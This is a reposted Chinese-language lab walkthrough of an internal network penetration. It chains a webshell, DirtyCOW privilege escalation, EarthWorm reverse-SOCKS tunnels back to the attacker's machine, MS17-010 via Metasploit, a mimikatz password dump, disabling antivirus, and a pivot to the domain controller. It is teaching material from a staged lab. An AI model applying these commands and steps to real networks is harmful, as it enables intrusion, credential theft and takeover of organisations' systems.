通過SOCKS代理滲透整個內網


https://blog.csdn.net/SouthWind0/article/details/83111044

 

通過SOCKS代理滲透整個內網

1.背景

經過前期的滲透工作,我們現在已經成功找到了web站點的漏洞,並且獲得了一個普通的webshell,現在准備用菜刀去連接它。

注意:本次環境在本地搭建,假設現在一無所知,這樣更加真實。

2.對web服務器提權

2.1獲取漏洞信息

獲取到webshell后使用菜刀連接,查看權限是apache,系統是redhat6.5。

上傳linux.sh到/tmp目錄下,獲取漏洞信息。

2.2使用臟牛提權

1)漏洞基本信息

選擇CVE-2016-5195進行提權,該漏洞被稱為“臟牛漏洞(DirtyCOW)”,危害是通過遠程入侵獲取低權限用戶后,利用該漏洞在全版本Linux系統服務器上實現本地提權,從而獲取到服務器root權限。

漏洞是由於Linux 內核的內存子系統在處理 Copy-on-Write 時出現競爭條件(漏洞),導致私有的只讀內存映射被破壞、獲取讀寫權限后進一步提權。

2)漏洞利用

在同版本的redhat系統上使用gcc編譯此poc。

使用菜刀上傳編譯后的文件dirty到此web服務器上,給予可執行權限,password為密碼,可以隨意設置,我們將使用它來登錄。

現在查看/etc/passwd文件,發現第一行文件已經必修改,root用戶必修改成了firefart,它現在擁有最高權限,而密碼我們已經知曉,就是剛才設置的password。從很低的apache權限到root權限,提權結束。

3)使用xshell遠程連接

因為菜刀上不太方便, 現在使用xshell遠程連接,成功連接。(賬號:firefart,密碼:password)

可以看到有兩個IP,我們猜測拓撲圖應該是如下,win10和kali受我們控制,它們處於外網。我們可以訪問web服務器的外網接口192.168.1.120,另外一個IP是192.168.223.166,它應該是連接內網,但是我們無法訪問。

3.第一次使用SOCKS代理滲透內網

3.1SOCKS代理

1)SOCKS

Socks是一種代理服務,可以簡單地將一端的系統連接到另外一端,支持多種協議,包括http、ftp請求及其它類型的請求。它分socks 4 和socks 5兩種類型,socks 4只支持TCP協議而socks 5支持TCP/UDP協議,還支持各種身份驗證機制等協議,其標准端口為1080。

2)Earthworm

EW是一套便攜式的網絡穿透工具,具有SOCKS5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,而且適用於不同的操作系統。

3)ProxyChains

ProxyChains是Linux下的代理工具,kali已經安裝,它可以使任何程序通過代理上網,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4和SOCKS5類型的代理服務器,並且可配置多個代理。

3.2反彈socks5服務器

1)在kali上

在kali上運行:

./ew_linux_x64 -s rcsocks -l 1080 -e 1234

該命令的意思是在kali上添加一個轉接隧道,把本地1080端口收到的代理請求轉交給1234端口。

2)在web服務器上

我們剛才在win10已經使用xshell遠程連接web服務器,運行:

./ew_linux_x64 -s rssocks -d 192.168.1.109 -e 1234

該命令的意思是在web服務器上啟動SOCKS5服務,並反彈到IP地址為192.168.1.109(kali)的1234端口上。

3)配置proxychains.conf

現在就可以通過訪問127.0.0.1:1080端口使用在右側web服務器上架設的SOCKS5代理服務了。

/etc/proxychains.conf修改內容如下,去掉dynamic_chain的注釋,並且在最后的位置添加代理。

4)測試代理服務器是否正常

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

proxyresolv 192.168.223.166

發現代理正常,現在我們已經可以訪問192.168.223.166了。

4.滲透主機A

4.1proxychains啟動nmap

用proxychains可以啟動任何程序,proxychains配合nmap和msf是內網滲透的大殺器,需要注意的是proxychains不支持udp和icmp協議。現在啟動nmap,使用TCP掃描,不使用ping掃描,掃描整個內網,我們發現只能訪問下面這台機器,對它進行掃描:

現在我們猜測拓撲圖應該是如下,win10和kali受我們控制,它們處於外網,我們可以訪問web服務器的外網接口192.168.1.120,另外一個內網IP是192.168.223.166,它只能訪問內網的主機A 192.168.223.174。

4.2proxychains啟動msf

1)啟動msfconsole

2)攻擊

選擇漏洞利用模塊ms17-010,MS17-010漏洞利用模塊就是利用windows系統的windows smb遠程執行代碼漏洞,向Microsoft服務消息塊服務器發送經特殊設計的消息后,允許遠程代碼執行。選擇好漏洞利用模塊和攻擊載荷模塊后,配置好參數,開始攻擊。

3)獲取密碼信息

使用mimikatz抓取密碼,命令如下:

load mimikatz

kerberos

可以看到域是lingwen,有兩個域用戶lingwen0001和admin的密碼已經破解出來了,都是“lingwen1.”。

4)信息收集

(1)查看系統信息

(2)查看進程

(3)查看系統用戶

(4)查看應用軟件

(5)查看路由信息和最后登錄時間

5)上傳ew工具

查看進程號和權限,直接是system,關閉殺毒軟件,開啟遠程桌面協議。

上傳ew工具到主機A,為了后面使用這台機器A作為跳板訪問其他內網主機。

一般情況下我們輸入shell就可以進入目標機的shell下,可是這里不行,之前獲得了2個域用戶密碼,我們嘗試遠程連接主機A。

4.3遠程登錄主機A

1)遠程登錄主機A

使用代理啟動rdesktop在kali上遠程連接主機A,即192.168.223.174,使用之前獲得的admin域賬號登錄。

2)收集域信息

(1)查看域用戶和域的數量

(2)查看域里面的組

(3)查看域內所有主機名

(4)查看域管理員

(5)查看域控制器

(6)查看企業管理組

我們發現之前在主機A獲得的域用戶admin竟然是域管理員賬號。

3)查看dns信息

我們終於發現域控的IP是192.168.223.134。

5. 第二次使用SOCKS代理滲透內網

5.1內網拓撲圖

5.2再次代理

1)分析

(1)第一次socks代理

通過第一次socks代理:在kali上添加一個轉接隧道,把1080端口收到的代理請求轉交給1234端口;在web服務器上啟動SOCKS5服務,並反彈到IP地址為192.168.1.109(kali)的1234端口上。

之后我們在kali通過web服務器做跳板來訪問主機A。

(2)現在的問題

雖然我們知道了域控的IP,域管理員的賬號和密碼,但是現在我們在kali上連接不到域控。如下所示,遠程登錄失敗。

我們可不可以再次代理,使用主機A做跳板,把經過它的流量反彈到web服務器上,用kali連接web服務器。

2)在web服務器上

使用xshell建立新的會話連接web服務器192.168.1.120,在web服務器上運行:

./ew_linux_x64 -s rcsocks -l 6666 -e 5678

該命令的意思是在web服務器上添加一個轉接隧道,把本地6666端口收到的代理請求轉交給5678端口。

3)在主機A

在kali遠程連接主機A,在主機A上運行:

ew_win32.exe -s rssocks -d 192.168.223.166 -e 5678

該命令的意思是在主機A上啟動SOCKS5服務,並反彈到IP地址為192.168.223.166(web服務器)的5678端口上。

4)配置proxychains.conf

現在就可以通過訪問192.168.1.120:6666端口使用在主機A上架設的SOCKS5代理服務了。

5)遠程連接域控

發現現在已經可以訪問域控了,使用域管理員賬號成功登錄。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM